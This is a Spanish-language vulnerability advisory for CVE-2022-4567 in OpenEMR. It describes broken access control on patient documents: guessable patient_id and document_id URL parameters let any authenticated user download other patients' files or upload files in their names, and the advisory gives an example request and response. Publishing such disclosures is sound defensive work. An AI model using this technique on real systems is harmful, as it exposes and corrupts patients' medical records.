OpenEMR – Fallo en los Controles de Acceso a los Documentos de Pacientes (CVE-2022-4567)
Resumen
Un usuario autenticado sin permisos de acceso a la sección «Documentos» podría acceder directamente a cualquier documento del sistema manipulando los parámetros patient_id y document_id en la propia url. Además, al tener un identificador autoincremental, era vulnerable a ataques de fuerza bruta en ambos parámetros, disminuyendo la dificultad de encontrar documentos válidos. La segunda instancia permitía a los usuarios sin privilegios subir archivos a cualquier repositorio de otros usuarios.
Impacto
Cualquier usuario autenticado podía saltarse las restricciones de acceso a los documentos y descargar cualquier documento relacionado con cualquier usuario del sistema. También era posible subir documentos en nombre de cualquier paciente que podrían contener datos maliciosos que serían tratados como datos médicos válidos.
Descripción
La primera instancia permitía a cualquier usuario acceder a un documento haciendo referencia a los parámetros patient_id y document_id:
http://domain/openemr/controller.php?document&retrieve&patient_id=2&document_id=19
La segunda instancia afectaba a la funcionalidad de subida de ficheros. La siguiente petición fue usada como ejemplo para subir un fichero a nombre de otro usuario:
Host: REDACTED
(…snip…)
Upgrade-Insecure-Requests: 1
—————————–247482557730593022112237721191
Content-Disposition: form-data; name=»MAX_FILE_SIZE»
64000000
—————————–247482557730593022112237721191
Content-Disposition: form-data; name=»file[]»; filename=»testBAC.txt»
Content-Type: text/plain
TESTFILE
—————————–247482557730593022112237721191
Content-Disposition: form-data; name=»dicom_folder[]»; filename=»»
Content-Type: application/octet-stream
(…snip…)
—————————–247482557730593022112237721191–
La respuesta mostraba el mensaje «Documents Not Authorized«, pero el archivo se había subido correctamente:
GET /openemr/controller.php?document&retrieve&patient_id=2&document_id=23&as_file=false HTTP/1.1
(…snip…)
RESPONSE:
HTTP/1.1 200 OK
Date: Fri, 07 Oct 2022 16:07:36 GMT
Server: Apache/2.4.54 (Debian)
Expires: 0
Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: public
Content-Description: File Transfer
Content-Transfer-Encoding: binary
Content-Disposition: inline; filename=»testBAC.txt»
Content-Length: 8
Connection: close
Content-Type: text/plain;charset=utf-8
TESTFILE